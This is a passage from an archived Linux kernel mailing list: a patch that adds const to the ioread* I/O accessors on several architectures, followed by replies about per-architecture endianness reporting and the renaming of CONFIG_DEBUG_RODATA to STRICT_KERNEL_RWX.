+	void (*read32r)(const void __iomem *, void *, unsigned long);
 	void (*write8r)(void __iomem *, const void *, unsigned long);
 	void (*write16r)(void __iomem *, const void *, unsigned long);
 	void (*write32r)(void __iomem *, const void *, unsigned long);
@@ -64,17 +64,17 @@ struct iomap_ops {
 
 #define ADDR2PORT(addr) ((unsigned long __force)(addr) & 0xffffff)
 
-static unsigned int ioport_read8(void __iomem *addr)
+static unsigned int ioport_read8(const void __iomem *addr)
 {
 	return inb(ADDR2PORT(addr));
 }
 
-static unsigned int ioport_read16(void __iomem *addr)
+static unsigned int ioport_read16(const void __iomem *addr)
 {
 	return inw(ADDR2PORT(addr));
 }
 
-static unsigned int ioport_read32(void __iomem *addr)
+static unsigned int ioport_read32(const void __iomem *addr)
 {
 	return inl(ADDR2PORT(addr));
 }
@@ -94,17 +94,17 @@ static void ioport_write32(u32 datum, void __iomem *addr)
 	outl(datum, ADDR2PORT(addr));
 }
 
-static void ioport_read8r(void __iomem *addr, void *dst, unsigned long count)
+static void ioport_read8r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	insb(ADDR2PORT(addr), dst, count);
 }
 
-static void ioport_read16r(void __iomem *addr, void *dst, unsigned long count)
+static void ioport_read16r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	insw(ADDR2PORT(addr), dst, count);
 }
 
-static void ioport_read32r(void __iomem *addr, void *dst, unsigned long count)
+static void ioport_read32r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	insl(ADDR2PORT(addr), dst, count);
 }
@@ -145,27 +145,27 @@ static const struct iomap_ops ioport_ops = {
 
 /* Legacy I/O memory ops */
 
-static unsigned int iomem_read8(void __iomem *addr)
+static unsigned int iomem_read8(const void __iomem *addr)
 {
 	return readb(addr);
 }
 
-static unsigned int iomem_read16(void __iomem *addr)
+static unsigned int iomem_read16(const void __iomem *addr)
 {
 	return readw(addr);
 }
 
-static unsigned int iomem_read16be(void __iomem *addr)
+static unsigned int iomem_read16be(const void __iomem *addr)
 {
 	return __raw_readw(addr);
 }
 
-static unsigned int iomem_read32(void __iomem *addr)
+static unsigned int iomem_read32(const void __iomem *addr)
 {
 	return readl(addr);
 }
 
-static unsigned int iomem_read32be(void __iomem *addr)
+static unsigned int iomem_read32be(const void __iomem *addr)
 {
 	return __raw_readl(addr);
 }
@@ -195,7 +195,7 @@ static void iomem_write32be(u32 datum, void __iomem *addr)
 	__raw_writel(datum, addr);
 }
 
-static void iomem_read8r(void __iomem *addr, void *dst, unsigned long count)
+static void iomem_read8r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	while (count--) {
 		*(u8 *)dst = __raw_readb(addr);
@@ -203,7 +203,7 @@ static void iomem_read8r(void __iomem *addr, void *dst, unsigned long count)
 	}
 }
 
-static void iomem_read16r(void __iomem *addr, void *dst, unsigned long count)
+static void iomem_read16r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	while (count--) {
 		*(u16 *)dst = __raw_readw(addr);
@@ -211,7 +211,7 @@ static void iomem_read16r(void __iomem *addr, void *dst, unsigned long count)
 	}
 }
 
-static void iomem_read32r(void __iomem *addr, void *dst, unsigned long count)
+static void iomem_read32r(const void __iomem *addr, void *dst, unsigned long count)
 {
 	while (count--) {
 		*(u32 *)dst = __raw_readl(addr);
@@ -268,35 +268,35 @@ static const struct iomap_ops *iomap_ops[8] = {
 };
 
 
-unsigned int ioread8(void __iomem *addr)
+unsigned int ioread8(const void __iomem *addr)
 {
 	if (unlikely(INDIRECT_ADDR(addr)))
 		return iomap_ops[ADDR_TO_REGION(addr)]->read8(addr);
 	return *((u8 *)addr);
 }
 
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	if (unlikely(INDIRECT_ADDR(addr)))
 		return iomap_ops[ADDR_TO_REGION(addr)]->read16(addr);
 	return le16_to_cpup((u16 *)addr);
 }
 
-unsigned int ioread16be(void __iomem *addr)
+unsigned int ioread16be(const void __iomem *addr)
 {
 	if (unlikely(INDIRECT_ADDR(addr)))
 		return iomap_ops[ADDR_TO_REGION(addr)]->read16be(addr);
 	return *((u16 *)addr);
 }
 
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	if (unlikely(INDIRECT_ADDR(addr)))
 		return iomap_ops[ADDR_TO_REGION(addr)]->read32(addr);
 	return le32_to_cpup((u32 *)addr);
 }
 
-unsigned int ioread32be(void __iomem *addr)
+unsigned int ioread32be(const void __iomem *addr)
 {
 	if (unlikely(INDIRECT_ADDR(addr)))
 		return iomap_ops[ADDR_TO_REGION(addr)]->read32be(addr);
@@ -350,7 +350,7 @@ void iowrite32be(u32 datum, void __iomem *addr)
 
 /* Repeating interfaces */
 
-void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	if (unlikely(INDIRECT_ADDR(addr))) {
 		iomap_ops[ADDR_TO_REGION(addr)]->read8r(addr, dst, count);
@@ -362,7 +362,7 @@ void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
 	}
 }
 
-void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	if (unlikely(INDIRECT_ADDR(addr))) {
 		iomap_ops[ADDR_TO_REGION(addr)]->read16r(addr, dst, count);
@@ -374,7 +374,7 @@ void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
 	}
 }
 
-void ioread32_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	if (unlikely(INDIRECT_ADDR(addr))) {
 		iomap_ops[ADDR_TO_REGION(addr)]->read32r(addr, dst, count);
diff --git a/arch/powerpc/kernel/iomap.c b/arch/powerpc/kernel/iomap.c
index 3963f0b68d52..8a7719d1a805 100644
--- a/arch/powerpc/kernel/iomap.c
+++ b/arch/powerpc/kernel/iomap.c
@@ -13,23 +13,23 @@
  * Here comes the ppc64 implementation of the IOMAP 
  * interfaces.
  */
-unsigned int ioread8(void __iomem *addr)
+unsigned int ioread8(const void __iomem *addr)
 {
 	return readb(addr);
 }
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	return readw(addr);
 }
-unsigned int ioread16be(void __iomem *addr)
+unsigned int ioread16be(const void __iomem *addr)
 {
 	return readw_be(addr);
 }
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	return readl(addr);
 }
-unsigned int ioread32be(void __iomem *addr)
+unsigned int ioread32be(const void __iomem *addr)
 {
 	return readl_be(addr);
 }
@@ -39,11 +39,11 @@ EXPORT_SYMBOL(ioread16be);
 EXPORT_SYMBOL(ioread32);
 EXPORT_SYMBOL(ioread32be);
 #ifdef __powerpc64__
-u64 ioread64(void __iomem *addr)
+u64 ioread64(const void __iomem *addr)
 {
 	return readq(addr);
 }
-u64 ioread64be(void __iomem *addr)
+u64 ioread64be(const void __iomem *addr)
 {
 	return readq_be(addr);
 }
@@ -97,15 +97,15 @@ EXPORT_SYMBOL(iowrite64be);
  * FIXME! We could make these do EEH handling if we really
  * wanted. Not clear if we do.
  */
-void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	readsb(addr, dst, count);
 }
-void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	readsw(addr, dst, count);
 }
-void ioread32_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	readsl(addr, dst, count);
 }
diff --git a/arch/sh/kernel/iomap.c b/arch/sh/kernel/iomap.c
index 2e8e8b9b9cef..0ee468c88b20 100644
--- a/arch/sh/kernel/iomap.c
+++ b/arch/sh/kernel/iomap.c
@@ -11,31 +11,31 @@
 #include <linux/module.h>
 #include <linux/io.h>
 
-unsigned int ioread8(void __iomem *addr)
+unsigned int ioread8(const void __iomem *addr)
 {
 	return readb(addr);
 }
 EXPORT_SYMBOL(ioread8);
 
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	return readw(addr);
 }
 EXPORT_SYMBOL(ioread16);
 
-unsigned int ioread16be(void __iomem *addr)
+unsigned int ioread16be(const void __iomem *addr)
 {
 	return be16_to_cpu(__raw_readw(addr));
 }
 EXPORT_SYMBOL(ioread16be);
 
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	return readl(addr);
 }
 EXPORT_SYMBOL(ioread32);
 
-unsigned int ioread32be(void __iomem *addr)
+unsigned int ioread32be(const void __iomem *addr)
 {
 	return be32_to_cpu(__raw_readl(addr));
 }
@@ -77,7 +77,7 @@ EXPORT_SYMBOL(iowrite32be);
  * convert to CPU byte order. We write in "IO byte
  * order" (we also don't have IO barriers).
  */
-static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
+static inline void mmio_insb(const void __iomem *addr, u8 *dst, int count)
 {
 	while (--count >= 0) {
 		u8 data = __raw_readb(addr);
@@ -86,7 +86,7 @@ static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
 	}
 }
 
-static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
+static inline void mmio_insw(const void __iomem *addr, u16 *dst, int count)
 {
 	while (--count >= 0) {
 		u16 data = __raw_readw(addr);
@@ -95,7 +95,7 @@ static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
 	}
 }
 
-static inline void mmio_insl(void __iomem *addr, u32 *dst, int count)
+static inline void mmio_insl(const void __iomem *addr, u32 *dst, int count)
 {
 	while (--count >= 0) {
 		u32 data = __raw_readl(addr);
@@ -128,19 +128,19 @@ static inline void mmio_outsl(void __iomem *addr, const u32 *src, int count)
 	}
 }
 
-void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insb(addr, dst, count);
 }
 EXPORT_SYMBOL(ioread8_rep);
 
-void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insw(addr, dst, count);
 }
 EXPORT_SYMBOL(ioread16_rep);
 
-void ioread32_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	mmio_insl(addr, dst, count);
 }
diff --git a/arch/sparc/include/asm/io_64.h b/arch/sparc/include/asm/io_64.h
index c32fa3f752c8..5be679c58602 100644
--- a/arch/sparc/include/asm/io_64.h
+++ b/arch/sparc/include/asm/io_64.h
@@ -242,16 +242,16 @@ void insb(unsigned long, void *, unsigned long);
 void insw(unsigned long, void *, unsigned long);
 void insl(unsigned long, void *, unsigned long);
 
-static inline void ioread8_rep(void __iomem *port, void *buf, unsigned long count)
+static inline void ioread8_rep(const void __iomem *port, void *buf, unsigned long count)
 {
 	insb((unsigned long __force)port, buf, count);
 }
-static inline void ioread16_rep(void __iomem *port, void *buf, unsigned long count)
+static inline void ioread16_rep(const void __iomem *port, void *buf, unsigned long count)
 {
 	insw((unsigned long __force)port, buf, count);
 }
 
-static inline void ioread32_rep(void __iomem *port, void *buf, unsigned long count)
+static inline void ioread32_rep(const void __iomem *port, void *buf, unsigned long count)
 {
 	insl((unsigned long __force)port, buf, count);
 }
diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
index 650fede33c25..77ac2a1e838f 100644
--- a/include/asm-generic/iomap.h
+++ b/include/asm-generic/iomap.h
@@ -25,14 +25,14 @@
  * in the low address range. Architectures for which this is not
  * true can't use this generic implementation.
  */
-extern unsigned int ioread8(void __iomem *);
-extern unsigned int ioread16(void __iomem *);
-extern unsigned int ioread16be(void __iomem *);
-extern unsigned int ioread32(void __iomem *);
-extern unsigned int ioread32be(void __iomem *);
+extern unsigned int ioread8(const void __iomem *);
+extern unsigned int ioread16(const void __iomem *);
+extern unsigned int ioread16be(const void __iomem *);
+extern unsigned int ioread32(const void __iomem *);
+extern unsigned int ioread32be(const void __iomem *);
 #ifdef CONFIG_64BIT
-extern u64 ioread64(void __iomem *);
-extern u64 ioread64be(void __iomem *);
+extern u64 ioread64(const void __iomem *);
+extern u64 ioread64be(const void __iomem *);
 #endif
 
 extern void iowrite8(u8, void __iomem *);
@@ -56,9 +56,9 @@ extern void iowrite64be(u64, void __iomem *);
  * memory across multiple ports, use "memcpy_toio()"
  * and friends.
  */
-extern void ioread8_rep(void __iomem *port, void *buf, unsigned long count);
-extern void ioread16_rep(void __iomem *port, void *buf, unsigned long count);
-extern void ioread32_rep(void __iomem *port, void *buf, unsigned long count);
+extern void ioread8_rep(const void __iomem *port, void *buf, unsigned long count);
+extern void ioread16_rep(const void __iomem *port, void *buf, unsigned long count);
+extern void ioread32_rep(const void __iomem *port, void *buf, unsigned long count);
 
 extern void iowrite8_rep(void __iomem *port, const void *buf, unsigned long count);
 extern void iowrite16_rep(void __iomem *port, const void *buf, unsigned long count);
diff --git a/lib/iomap.c b/lib/iomap.c
index fc3dcb4b238e..ec9b235835d9 100644
--- a/lib/iomap.c
+++ b/lib/iomap.c
@@ -68,27 +68,27 @@ static void bad_io_access(unsigned long port, const char *access)
 #define mmio_read32be(addr) be32_to_cpu(__raw_readl(addr))
 #endif
 
-unsigned int ioread8(void __iomem *addr)
+unsigned int ioread8(const void __iomem *addr)
 {
 	IO_COND(addr, return inb(port), return readb(addr));
 	return 0xff;
 }
-unsigned int ioread16(void __iomem *addr)
+unsigned int ioread16(const void __iomem *addr)
 {
 	IO_COND(addr, return inw(port), return readw(addr));
 	return 0xffff;
 }
-unsigned int ioread16be(void __iomem *addr)
+unsigned int ioread16be(const void __iomem *addr)
 {
 	IO_COND(addr, return pio_read16be(port), return mmio_read16be(addr));
 	return 0xffff;
 }
-unsigned int ioread32(void __iomem *addr)
+unsigned int ioread32(const void __iomem *addr)
 {
 	IO_COND(addr, return inl(port), return readl(addr));
 	return 0xffffffff;
 }
-unsigned int ioread32be(void __iomem *addr)
+unsigned int ioread32be(const void __iomem *addr)
 {
 	IO_COND(addr, return pio_read32be(port), return mmio_read32be(addr));
 	return 0xffffffff;
@@ -142,7 +142,7 @@ EXPORT_SYMBOL(iowrite32be);
  * order" (we also don't have IO barriers).
  */
 #ifndef mmio_insb
-static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
+static inline void mmio_insb(const void __iomem *addr, u8 *dst, int count)
 {
 	while (--count >= 0) {
 		u8 data = __raw_readb(addr);
@@ -150,7 +150,7 @@ static inline void mmio_insb(void __iomem *addr, u8 *dst, int count)
 		dst++;
 	}
 }
-static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
+static inline void mmio_insw(const void __iomem *addr, u16 *dst, int count)
 {
 	while (--count >= 0) {
 		u16 data = __raw_readw(addr);
@@ -158,7 +158,7 @@ static inline void mmio_insw(void __iomem *addr, u16 *dst, int count)
 		dst++;
 	}
 }
-static inline void mmio_insl(void __iomem *addr, u32 *dst, int count)
+static inline void mmio_insl(const void __iomem *addr, u32 *dst, int count)
 {
 	while (--count >= 0) {
 		u32 data = __raw_readl(addr);
@@ -192,15 +192,15 @@ static inline void mmio_outsl(void __iomem *addr, const u32 *src, int count)
 }
 #endif
 
-void ioread8_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread8_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	IO_COND(addr, insb(port,dst,count), mmio_insb(addr, dst, count));
 }
-void ioread16_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread16_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	IO_COND(addr, insw(port,dst,count), mmio_insw(addr, dst, count));
 }
-void ioread32_rep(void __iomem *addr, void *dst, unsigned long count)
+void ioread32_rep(const void __iomem *addr, void *dst, unsigned long count)
 {
 	IO_COND(addr, insl(port,dst,count), mmio_insl(addr, dst, count));
 }
-- 
2.7.4




From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Wed, 15 Feb 2017 16:20:23 +1100
Lines: 29
Approved: news@gmane.org
Message-ID: <87bmu4kp2g.fsf@concordia.ellerman.id.au>
References: <20170128111310.GA13389@ls3530.fritz.box> <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org> <1485990732.2322.40.camel@HansenPartnership.com> <CAEdQ38FXam3sXKFc5-3WEgDDov0yayAWXK8hbuNjbSxJQ5QDVw@mail.gmail.com> <alpine.LFD.2.20.1702051300010.27997@eddie.linux-mips.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1487136031 27993 195.159.176.226 (15 Feb 2017 05:20:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Feb 2017 05:20:31 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        LKML <linux-kernel@vger.kernel.org>,
        "linux-parisc\@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        linux-api@vger.kernel.org
To: "Maciej W. Rozycki" <macro@linux-mips.org>,
        Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 15 06:20:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cds0u-0002XO-Ga
	for glpp-linux-parisc@m.gmane.org; Wed, 15 Feb 2017 06:20:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750886AbdBOFUa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 15 Feb 2017 00:20:30 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:57955 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750781AbdBOFU3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 15 Feb 2017 00:20:29 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3vNSKl4SDlz9ryZ;
        Wed, 15 Feb 2017 16:20:27 +1100 (AEDT)
In-Reply-To: <alpine.LFD.2.20.1702051300010.27997@eddie.linux-mips.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27275 gmane.linux.kernel:2411194 gmane.linux.kernel.api:22233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27275>

"Maciej W. Rozycki" <macro@linux-mips.org> writes:

> On Sun, 5 Feb 2017, Matt Turner wrote:
>
>> > I don't think it is other than for PPC.  If you're not variable endian
>> > (which is only PPC to date), then you should know a priori what endian
>> > you are from the #defines in userspace.
>> 
>> MIPS as well, but it seems strange to require the kernel to tell you
>> your endianness, when you can easily determine it yourself. Unless
>> there's something about this I don't understand.
>
>  Many MIPS processors do have a reverse-endian control bit, which allows a 
> user process to execute in the endianness opposite to the endianness the 
> kernel runs in.  The feature has been around since 1991 and the R4000 CPU, 
> however support is unlikely to be ever added to the MIPS/Linux port, due 
> to the complexity required for byte-swapping all the data structures 
> passed in memory between the kernel and the userland.  Does the PPC/Linux 
> port actually implement this swapping?

No. Userspace can change endian, but it has to cope with the kernel
being in the original endian.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel
Subject: Re: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Thu, 16 Feb 2017 23:25:29 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20170216222529.GA7531@amd>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="0F1p//8PRICkK4MW"
X-Trace: blaine.gmane.org 1487283936 6470 195.159.176.226 (16 Feb 2017 22:25:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Feb 2017 22:25:36 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>, linux-doc@vger.kernel.org,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "H. Peter Anvin" <hpa@zytor.com>,
        kernel-hardening@lists.openwall.com, Rob Herring <robh@kernel.org>,
        Jessica Yu <jeyu@redhat.com>, Jonathan Corbet <corbet@lwn.net>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Len Brown <len.brown@intel.com>, linux-s390@vger.kernel.org,
        Will Deacon <will.deacon@arm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-pm@vger.kernel.org, "Rafael J. Wysocki" <rjw@rjwysoc
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 16 23:25:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ceUUS-0001Sx-OX
	for glpp-linux-parisc@m.gmane.org; Thu, 16 Feb 2017 23:25:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933558AbdBPWZe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 16 Feb 2017 17:25:34 -0500
Original-Received: from atrey.karlin.mff.cuni.cz ([195.113.26.193]:47936 "EHLO
        atrey.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933429AbdBPWZd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 16 Feb 2017 17:25:33 -0500
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
        id 2468B81998; Thu, 16 Feb 2017 23:25:30 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1486427518-14819-3-git-send-email-labbott@redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27276 gmane.linux.documentation:45000 gmane.linux.kernel.hardened.devel:5882 gmane.linux.ports.arm.kernel:559635 gmane.linux.power-management.general:86624 gmane.linux.kernel:2413232
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27276>


--0F1p//8PRICkK4MW
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

> =20
> -config DEBUG_RODATA
> +config STRICT_KERNEL_RWX
>  	bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
>  	depends on ARCH_HAS_STRICT_KERNEL_RWX
>  	default !ARCH_OPTIONAL_KERNEL_RWX ||

Debug features are expected to have runtime cost, so kconfig help is
silent about those. But there are runtime costs, right? It would be
nice to mention them in the help text...

								Pavel

--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--0F1p//8PRICkK4MW
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAlimJtkACgkQMOfwapXb+vIejgCgsvrn5eQ2U0NHrSk8jkwMzi0k
mSAAnR5YQy0wi16SGmy3kL+mPGH3sglk
=h8TA
-----END PGP SIGNATURE-----

--0F1p//8PRICkK4MW--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Thu, 16 Feb 2017 17:08:20 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <CAGXu5jJ4FD=6HLK_21T079JrO569DwWBTeiD18x3WRrYBsaAqw@mail.gmail.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com> <20170216222529.GA7531@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1487293706 26278 195.159.176.226 (17 Feb 2017 01:08:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Feb 2017 01:08:26 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Mark Rutland <mark.rutland@arm.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "kernel-hardening@lists.openwall.com" 
        <kernel-hardening@lists.openwall.com>,
        Rob Herring <robh@kernel.org>, Jessica Yu <jeyu@redhat.com>,
        Jonathan Corbet <corbet@lwn.net>, Helge Deller <deller@gmx.de>,
        "x86@kernel.org" <x86@kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Len Brown <len.brown@intel.com>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Will Deacon <will.deacon@arm.com>,
        Thomas Gleixner <tglx@linut
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: linux-pm-owner@vger.kernel.org Fri Feb 17 02:08:20 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1ceX23-0006f4-3i
	for gll-linux-pm2@m.gmane.org; Fri, 17 Feb 2017 02:08:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754622AbdBQBIX (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Thu, 16 Feb 2017 20:08:23 -0500
Original-Received: from mail-it0-f47.google.com ([209.85.214.47]:38753 "EHLO
        mail-it0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754071AbdBQBIV (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Thu, 16 Feb 2017 20:08:21 -0500
Original-Received: by mail-it0-f47.google.com with SMTP id g67so1523959itb.1
        for <linux-pm@vger.kernel.org>; Thu, 16 Feb 2017 17:08:21 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=LqozzfI22SGa3iw8wVY1XNkfFvmQUevPJT2cK3wr0GY=;
        b=L7htCbENyYKwyTFS1jLzjF9z1K43RwAVCYnef/XIxijPEX9K3NTIcghXCqJ7Twh/kK
         uyUiFHqofYOokbKVnOMyPEQhQ8IWRE2VAuYa5TOFGH1z6x8iOOSH0lpjilsRqlDCrH3f
